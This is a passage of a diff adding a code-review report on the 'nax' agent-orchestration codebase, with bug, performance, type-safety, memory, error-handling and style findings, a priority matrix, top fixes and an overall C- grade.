+ in the other.
164
+ Fix: Delete story-dispatcher.ts or complete the extraction. runner.ts
165
+ should call into shared functions. The current state is the worst
166
+ of both worlds: duplicated code with subtle differences.
167
+ ```
168
+
169
+ ```
170
+ [BUG-4] HIGH -- Parallel execution concurrency limiter is broken
171
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/parallel.ts:218-221
172
+ Issue: The concurrency limiter uses Promise.race(executing) but never
173
+ removes resolved promises from the executing array. This means:
174
+ 1. The array grows unboundedly
175
+ 2. Promise.race will always resolve immediately after the first
176
+ task completes (already-resolved promises resolve immediately)
177
+ 3. The concurrency limit is effectively not enforced after the
178
+ first batch
179
+ Fix: Track executing promises properly:
180
+ - Remove completed promises from the array
181
+ - Use a semaphore pattern or p-limit library
182
+ ```
183
+
184
+ ```
185
+ [BUG-5] MEDIUM -- getAllReadyStories does not filter "failed" or "paused" stories
186
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:259-265
187
+ Issue: The function only filters by !s.passes and s.status !== "skipped".
188
+ Stories with status "failed", "paused", or "blocked" are included
189
+ in the "ready" list, meaning they will be retried even if they
190
+ should be skipped.
191
+ Fix: Add explicit status checks:
192
+ s.status !== "failed" && s.status !== "paused" && s.status !== "blocked"
193
+ ```
194
+
195
+ ```
196
+ [BUG-6] MEDIUM -- LLM routing callLlm reads stdout before waiting for exit
197
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:147-156
198
+ Issue: The outputPromise reads stdout/stderr AND awaits proc.exited.
199
+ But reading streams before the process exits may return incomplete
200
+ data if the process is still writing. Additionally, the timeout
201
+ kills the process but does not drain its streams, potentially
202
+ causing the outputPromise to hang (same Bun stream bug documented
203
+ in verification.ts).
204
+ Fix: Use the same drainWithDeadline() pattern from verification.ts
205
+ for the timeout path.
206
+ ```
207
+
208
+ ```
209
+ [BUG-7] MEDIUM -- PRD mutation in acceptance retry loop
210
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1472
211
+ Issue: prd.userStories.push(userStory) directly mutates the PRD array.
212
+ This violates the project's immutability rules from CLAUDE.md.
213
+ The mutated array is later saved, so there's no data loss, but
214
+ mutation can cause unexpected behavior if other code holds
215
+ references to the original array.
216
+ Fix: prd = { ...prd, userStories: [...prd.userStories, userStory] };
217
+ ```
218
+
219
+ ```
220
+ [BUG-8] LOW -- releaseLock spawns external rm process
221
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:369
222
+ Issue: releaseLock() spawns `rm` as a subprocess instead of using
223
+ Bun.file or fs.unlink. This is unnecessary overhead and may
224
+ fail on systems where rm is not at the expected path.
225
+ Fix: Use import("node:fs/promises").unlink(lockPath) or
226
+ Bun.write(lockPath, "") followed by unlink.
227
+ ```
228
+
229
+ ### PERFORMANCE
230
+
231
+ ```
232
+ [PERF-1] HIGH -- LLM routing cache has no size limit
233
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:16
234
+ Issue: const cachedDecisions = new Map<string, RoutingDecision>();
235
+ This module-level cache grows without bound. For large features
236
+ with hundreds of stories (maxStoriesPerFeature=500), this could
237
+ hold significant memory. Since the cache is never cleared between
238
+ runs in long-lived processes, it could also serve stale decisions.
239
+ Fix: Add a maximum cache size (LRU) or clear the cache at run
240
+ boundaries (which clearCache() does, but only if called).
241
+ ```
242
+
243
+ ```
244
+ [PERF-2] MEDIUM -- PidRegistry rewrites entire file on every unregister
245
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/pid-registry.ts:104-117
246
+ Issue: Every unregister() call reads, reconstructs, and rewrites the
247
+ entire .nax-pids file. For sessions with many spawned processes
248
+ (TDD = 3 processes per story x N stories), this is O(n) I/O
249
+ per unregistration.
250
+ Fix: Use an append-only format with periodic compaction, or just
251
+ maintain the in-memory set and write the file only on
252
+ shutdown/crash.
253
+ ```
254
+
255
+ ```
256
+ [PERF-3] MEDIUM -- redundant double-logging in runner.ts main loop
257
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:780-798
258
+ Issue: Two consecutive logger.info calls log nearly identical
259
+ information for "Starting iteration":
260
+ - logger.info("execution", `Starting iteration ${iterations}`, ...)
261
+ - logger.info("iteration.start", `Starting iteration ${iterations}`, ...)
262
+ These produce duplicate log entries with overlapping data.
263
+ Fix: Remove the first call -- the "iteration.start" entry is more
264
+ complete and follows the structured logging convention.
265
+ ```
266
+
267
+ ```
268
+ [PERF-4] LOW -- Dynamic import() in hot paths
269
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:246-254
270
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:64,214
271
+ Issue: Several hot-path functions use `await import("node:fs")` instead
272
+ of top-level imports. While Bun caches module resolutions, the
273
+ async overhead is unnecessary for built-in modules.
274
+ Fix: Move these to top-level imports.
275
+ ```
276
+
277
+ ### TYPE SAFETY
278
+
279
+ ```
280
+ [TYPE-1] HIGH -- Unsafe `as any` cast in story-dispatcher.ts
281
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts:104
282
+ Issue: overrides.modelTier = (config.autoMode.complexityRouting[story.routing.complexity] ?? "balanced") as any;
283
+ The `as any` cast silences the type checker entirely and could
284
+ mask legitimate type errors.
285
+ Fix: Use `as ModelTier` or add a proper type assertion.
286
+ ```
287
+
288
+ ```
289
+ [TYPE-2] HIGH -- Unsafe `as any` cast in execution stage
290
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/pipeline/stages/execution.ts:103
291
+ Issue: (ctx.config.tdd as any)?.enabled === false
292
+ This accesses a property that may not exist on the TddConfig type.
293
+ If the type does not have an `enabled` field, this check is
294
+ misleading and should be removed or the type should be updated.
295
+ Fix: Add `enabled` to TddConfig interface or remove this dead code
296
+ path.
297
+ ```
298
+
299
+ ```
300
+ [TYPE-3] MEDIUM -- Loose ModelTier = string type
301
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:25
302
+ Issue: export type ModelTier = string;
303
+ This makes ModelTier equivalent to string, providing no type
304
+ safety. Any string is accepted as a model tier, and the compiler
305
+ cannot catch typos like "balacned" or "powerfull".
306
+ Fix: Use a union type or branded type:
307
+ type ModelTier = "fast" | "balanced" | "powerful" | (string & {});
308
+ The intersection with {} preserves extensibility while providing
309
+ autocomplete for known values.
310
+ ```
311
+
312
+ ```
313
+ [TYPE-4] MEDIUM -- Multiple `parsed: any` in LLM response parsing
314
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:594
315
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:234
316
+ Issue: JSON.parse results are typed as `any` and accessed without
317
+ type guards. While runtime validation follows, the gap between
318
+ parse and validate is untyped.
319
+ Fix: Use `unknown` instead of `any` and add type narrowing before
320
+ property access:
321
+ const parsed: unknown = JSON.parse(jsonText);
322
+ if (!isObject(parsed)) throw new Error("...");
323
+ ```
324
+
325
+ ```
326
+ [TYPE-5] LOW -- OptimizerConfigSchema mismatch with OptimizerConfig interface
327
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:622-625
328
+ Issue: The Zod schema defines strategy as z.enum(["cost", "quality", "balanced"])
329
+ but the OptimizerConfig interface defines it as
330
+ "rule-based" | "llm" | "noop". These enums do not match.
331
+ Fix: Align the Zod schema with the interface.
332
+ ```
333
+
334
+ ### MEMORY
335
+
336
+ ```
337
+ [MEM-1] HIGH -- Crash handlers never unregister process listeners
338
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:124-177
339
+ Issue: installCrashHandlers() adds listeners for SIGTERM, SIGINT,
340
+ SIGHUP, uncaughtException, and unhandledRejection but never
341
+ removes them. The handlersInstalled flag prevents duplicate
342
+ installation, but if nax is used as a library, old handlers
343
+ from previous runs will accumulate. The handlers also capture
344
+ the CrashRecoveryContext in closure, preventing garbage
345
+ collection of statusWriter, pidRegistry, etc.
346
+ Fix: Return a cleanup function from installCrashHandlers() that
347
+ removes all listeners. Call it in the finally block.
348
+ ```
349
+
350
+ ```
351
+ [MEM-2] MEDIUM -- pidRegistries Map in ClaudeCodeAdapter never cleans up
352
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:78
353
+ Issue: private pidRegistries: Map<string, PidRegistry> = new Map();
354
+ Each workdir gets a PidRegistry that is never removed. If the
355
+ adapter is long-lived (e.g., in a daemon/server context), this
356
+ leaks PidRegistry instances.
357
+ Fix: Add a cleanup method or use WeakRef/FinalizationRegistry.
358
+ ```
359
+
360
+ ```
361
+ [MEM-3] MEDIUM -- allStoryMetrics array grows unboundedly during acceptance loop
362
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1537
363
+ Issue: Fix story metrics are pushed into allStoryMetrics during the
364
+ acceptance retry loop. With maxRetries=2 and multiple fix stories,
365
+ this array grows without bound. Combined with maxStoriesPerFeature
366
+ =500, this could be significant.
367
+ Fix: Cap allStoryMetrics or remove entries for superseded fix stories.
368
+ ```
369
+
370
+ ### ERROR HANDLING
371
+
372
+ ```
373
+ [ERR-1] HIGH -- Silent error swallowing in plugin loader
374
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:148-151
375
+ Issue: discoverPlugins() catches all errors and returns []. This means
376
+ permission errors, disk failures, or other critical I/O issues
377
+ are silently ignored. The caller has no way to distinguish
378
+ "no plugins found" from "failed to read directory".
379
+ Fix: Only catch ENOENT (directory not found). Re-throw other errors
380
+ or return them as diagnostics.
381
+ ```
382
+
383
+ ```
384
+ [ERR-2] MEDIUM -- Console.warn used instead of structured logger
385
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:63,79,96
386
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/validator.ts:30-290
387
+ Issue: Plugin loader and validator use console.warn/console.error
388
+ throughout instead of the structured logger (getLogger()). This
389
+ bypasses log filtering, structured output, and JSONL logging.
390
+ The validator has 20+ console.warn calls.
391
+ Fix: Use getSafeLogger() for all warning/error output. Fall back to
392
+ console only if logger is unavailable.
393
+ ```
394
+
395
+ ```
396
+ [ERR-3] MEDIUM -- Empty catch blocks hide failures
397
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:111,383
398
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/verification.ts:38,168,185
399
+ Issue: Multiple catch blocks are completely empty:
400
+ } catch {}
401
+ These silently swallow errors with no logging. Even transient
402
+ errors that "should never happen" deserve a debug log entry.
403
+ Fix: Add at minimum a debug-level log in each catch block.
404
+ ```
405
+
406
+ ```
407
+ [ERR-4] LOW -- buildStoryContext uses process.cwd() instead of workdir
408
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:177
409
+ Issue: workdir: process.cwd() is used instead of the workdir from config.
410
+ In parallel execution mode, process.cwd() may not match the
411
+ story's worktree directory, causing context to be built from the
412
+ wrong directory.
413
+ Fix: Accept workdir as a parameter and pass it through from
414
+ PipelineContext.
415
+ ```
416
+
417
+ ### CODE PATTERNS / STYLE
418
+
419
+ ```
420
+ [STYLE-1] CRITICAL -- runner.ts is 1,685 lines (4x the 400-line guideline)
421
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
422
+ Issue: The run() function alone spans 1,500+ lines. It contains:
423
+ - Sequential execution loop (~350 lines)
424
+ - Parallel execution path (~150 lines)
425
+ - Acceptance retry loop (~200 lines)
426
+ - Reporter notification boilerplate (~100 lines, copy-pasted 5x)
427
+ - Status writer updates (~50 lines, copy-pasted 4x)
428
+ - Headless output formatting (~50 lines, copy-pasted 2x)
429
+ This violates the project's "max ~400 lines per file" rule.
430
+ Fix: Extract into focused modules:
431
+ - sequential-executor.ts (main loop)
432
+ - acceptance-loop.ts (acceptance retry logic)
433
+ - reporter-notifier.ts (reporter event emission)
434
+ - headless-formatter.ts (console output for headless mode)
435
+ ```
436
+
437
+ ```
438
+ [STYLE-2] HIGH -- Reporter notification code duplicated 5+ times
439
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:846-863,967-983,1025-1041,1055-1071,1101-1117
440
+ Issue: The pattern:
441
+ for (const reporter of reporters) {
442
+ if (reporter.onStoryComplete) {
443
+ try {
444
+ await reporter.onStoryComplete({ ... });
445
+ } catch (error) {
446
+ logger?.warn("plugins", `Reporter '${reporter.name}' ...`, { error });
447
+ }
448
+ }
449
+ }
450
+ is copy-pasted 5+ times with slightly different event data.
451
+ Fix: Extract a notifyReporters() helper:
452
+ async function notifyReporters(reporters, event, data) { ... }
453
+ ```
454
+
455
+ ```
456
+ [STYLE-3] MEDIUM -- console.error/console.log in non-CLI code
457
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:284-292
458
+ Issue: Direct console.error() calls in the runner for precheck output.
459
+ These bypass the structured logging system and cannot be
460
+ captured in JSONL logs.
461
+ Fix: Use the logger for all output. Use the formatter for headless
462
+ mode display.
463
+ ```
464
+
465
+ ```
466
+ [STYLE-4] MEDIUM -- Emojis in log messages and code
467
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/tdd/orchestrator.ts:292,347,388,669
468
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:434
469
+ Issue: Log messages contain emojis (checkmark, warning, arrows, chart):
470
+ "Three-Session TDD"
471
+ "Test writer session failed"
472
+ "Created test files"
473
+ "Progress: 6/12 stories | 5 passed | 1 failed"
474
+ Per CLAUDE.md: "No emojis in code, comments, or documentation"
475
+ Fix: Remove all emojis from logger messages. Use text indicators:
476
+ "[OK]", "[WARN]", "[FAIL]", "->", etc.
477
+ ```
478
+
479
+ ```
480
+ [STYLE-5] LOW -- Inconsistent require() vs import
481
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:348-350,413
482
+ Issue: Uses require("node:path") and require("node:fs") inline instead
483
+ of ES module imports. The rest of the codebase uses ES imports.
484
+ Fix: Move to top-level ES module imports for consistency.
485
+ ```
486
+
487
+ ```
488
+ [STYLE-6] LOW -- Dead code: unused maxConcurrency variable
489
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:196
490
+ Issue: const maxConcurrency = parallel === 0 ? (os.cpus().length || 4) : (parallel ?? 0);
491
+ This variable is declared on line 196 but shadowed by a new
492
+ declaration on line 459 inside the parallel execution block.
493
+ The outer variable is never used.
494
+ Fix: Remove the unused declaration on line 196.
495
+ ```
496
+
497
+ ---
498
+
499
+ ## Priority Matrix
500
+
501
+ | ID | Severity | Category | File | Description |
502
+ |:---|:---------|:---------|:-----|:------------|
503
+ | SEC-1 | CRITICAL | Security | agents/claude.ts:140 | Hardcoded --dangerously-skip-permissions |
504
+ | BUG-1 | CRITICAL | Bug | execution/runner.ts:216 | Crash handler captures stale values |
505
+ | STYLE-1 | CRITICAL | Style | execution/runner.ts | 1,685-line file (4x guideline max) |
506
+ | BUG-3 | HIGH | Bug | execution/runner.ts + story-dispatcher.ts | 765 lines of duplicated logic with divergence |
507
+ | BUG-4 | HIGH | Bug | execution/parallel.ts:218 | Broken concurrency limiter |
508
+ | SEC-2 | HIGH | Security | plugins/loader.ts:203 | Arbitrary code execution via plugin import |
509
+ | SEC-3 | HIGH | Security | hooks/runner.ts:120 | Incomplete command injection prevention |
510
+ | BUG-2 | HIGH | Bug | execution/helpers.ts:311 | TOCTOU race in lock acquisition |
511
+ | PERF-1 | HIGH | Performance | routing/strategies/llm.ts:16 | Unbounded LLM routing cache |
512
+ | MEM-1 | HIGH | Memory | execution/crash-recovery.ts:124 | Process listeners never unregistered |
513
+ | TYPE-1 | HIGH | Type Safety | execution/story-dispatcher.ts:104 | Unsafe `as any` cast |
514
+ | TYPE-2 | HIGH | Type Safety | pipeline/stages/execution.ts:103 | Unsafe `as any` cast |
515
+ | ERR-1 | HIGH | Error Handling | plugins/loader.ts:148 | Silent error swallowing |
516
+ | STYLE-2 | HIGH | Style | execution/runner.ts | Reporter code duplicated 5x |
517
+ | SEC-4 | MEDIUM | Security | agents/claude.ts:226 | Env variable leakage to agent |
518
+ | SEC-5 | MEDIUM | Security | constitution/loader.ts:77 | Missing path validation |
519
+ | BUG-5 | MEDIUM | Bug | execution/helpers.ts:259 | Ready stories includes failed/paused |
520
+ | BUG-6 | MEDIUM | Bug | routing/strategies/llm.ts:147 | Stream read before process exit |
521
+ | BUG-7 | MEDIUM | Bug | execution/runner.ts:1472 | PRD array mutation |
522
+ | PERF-2 | MEDIUM | Performance | execution/pid-registry.ts:104 | O(n) file rewrite per unregister |
523
+ | PERF-3 | MEDIUM | Performance | execution/runner.ts:780 | Duplicate logging calls |
524
+ | TYPE-3 | MEDIUM | Type Safety | config/schema.ts:25 | ModelTier = string (no safety) |
525
+ | TYPE-4 | MEDIUM | Type Safety | agents/claude.ts:594 | JSON.parse returns any |
526
+ | MEM-2 | MEDIUM | Memory | agents/claude.ts:78 | PidRegistry map never cleaned |
527
+ | MEM-3 | MEDIUM | Memory | execution/runner.ts:1537 | Unbounded metrics array |
528
+ | ERR-2 | MEDIUM | Error Handling | plugins/loader.ts + validator.ts | console.warn instead of logger |
529
+ | ERR-3 | MEDIUM | Error Handling | multiple files | Empty catch blocks |
530
+ | STYLE-3 | MEDIUM | Style | execution/runner.ts:284 | console.error in non-CLI code |
531
+ | STYLE-4 | MEDIUM | Style | tdd/orchestrator.ts + helpers.ts | Emojis in log messages |
532
+ | ERR-4 | LOW | Error Handling | execution/helpers.ts:177 | process.cwd() instead of workdir |
533
+ | BUG-8 | LOW | Bug | execution/helpers.ts:369 | Spawns rm subprocess for file delete |
534
+ | TYPE-5 | LOW | Type Safety | config/schema.ts:622 | Schema/interface enum mismatch |
535
+ | PERF-4 | LOW | Performance | runner.ts, crash-recovery.ts | Dynamic import in hot paths |
536
+ | STYLE-5 | LOW | Style | agents/claude.ts:348 | require() instead of import |
537
+ | STYLE-6 | LOW | Style | execution/runner.ts:196 | Dead code: shadowed variable |
538
+
539
+ ---
540
+
541
+ ## Top 5 Fixes (Implement First)
542
+
543
+ ### 1. Fix crash handler stale values (BUG-1)
544
+ **Why first:** Crash recovery is a safety-critical feature. Currently it
545
+ writes incorrect data on crash, making the feature worse than useless
546
+ (it provides false information). One-line fix with massive impact.
547
+
548
+ ### 2. Make --dangerously-skip-permissions configurable (SEC-1)
549
+ **Why second:** This is the single most impactful security issue. Every
550
+ agent invocation bypasses all safety controls. Making it configurable
551
+ allows users to choose their security posture.
552
+
553
+ ### 3. Fix parallel execution concurrency limiter (BUG-4)
554
+ **Why third:** The broken limiter means parallel mode can spawn unlimited
555
+ concurrent processes, causing resource exhaustion and potential system
556
+ instability.
557
+
558
+ ### 4. Split runner.ts (STYLE-1 + STYLE-2 + BUG-3)
559
+ **Why fourth:** This addresses three findings at once. Extract the
560
+ reporter notification helper, the acceptance loop, and the sequential
561
+ execution loop. Delete story-dispatcher.ts to eliminate the divergence
562
+ risk.
563
+
564
+ ### 5. Fix lock file TOCTOU race (BUG-2)
565
+ **Why fifth:** Concurrent nax processes can corrupt the PRD file and
566
+ waste money by running duplicate agent sessions. Using atomic file
567
+ creation prevents this.
568
+
569
+ ---
570
+
571
+ ## Positive Observations
572
+
573
+ Despite the issues above, the codebase demonstrates strong engineering:
574
+
575
+ 1. **Zod validation for all config** -- config/schema.ts provides
576
+ comprehensive runtime validation with clear error messages.
577
+ 2. **Path security module** -- path-security.ts with symlink resolution
578
+ and bounds checking shows security awareness.
579
+ 3. **Structured error classes** -- errors.ts with typed codes enables
580
+ proper error handling at the CLI boundary.
581
+ 4. **Immutable patterns in most code** -- spread operators and map()
582
+ used consistently (the PRD mutation in BUG-7 is the exception).
583
+ 5. **Comprehensive TDD orchestrator** -- The three-session TDD pipeline
584
+ with isolation verification, verdict parsing, and rollback is
585
+ well-designed and thoroughly implemented.
586
+ 6. **Plugin system architecture** -- Clean separation of concerns with
587
+ typed extension points, runtime validation, and graceful fallbacks.
588
+ 7. **ADR-003 verification flow** -- The multi-stage verification with
589
+ environmental failure detection and smart exit-code analysis is
590
+ production-quality infrastructure.
591
+
592
+ ---
593
+
594
+ ## Overall Grade: C-
595
+
596
+ **Justification:**
597
+
598
+ | Category | Score | Weight | Notes |
599
+ |:---------|:------|:-------|:------|
600
+ | Security | D | 25% | Hardcoded permission bypass, incomplete injection prevention |
601
+ | Correctness | C | 25% | Stale crash values, broken concurrency, TOCTOU race |
602
+ | Maintainability | D+ | 20% | 1685-line file, massive duplication, divergent copies |
603
+ | Type Safety | C+ | 10% | Good Zod usage undermined by `as any` casts |
604
+ | Performance | B- | 10% | Unbounded cache is the only real issue |
605
+ | Error Handling | C | 10% | Mix of good (structured errors) and bad (empty catches) |
606
+
607
+ The architecture and domain modeling are strong (B+), but the
608
+ implementation has accumulated technical debt that creates real risk.
609
+ The five critical/high findings (SEC-1, BUG-1, BUG-3, BUG-4, STYLE-1)
610
+ must be addressed before any production deployment.
611
+
612
+ **Approval:** BLOCKED -- 3 CRITICAL and 11 HIGH findings.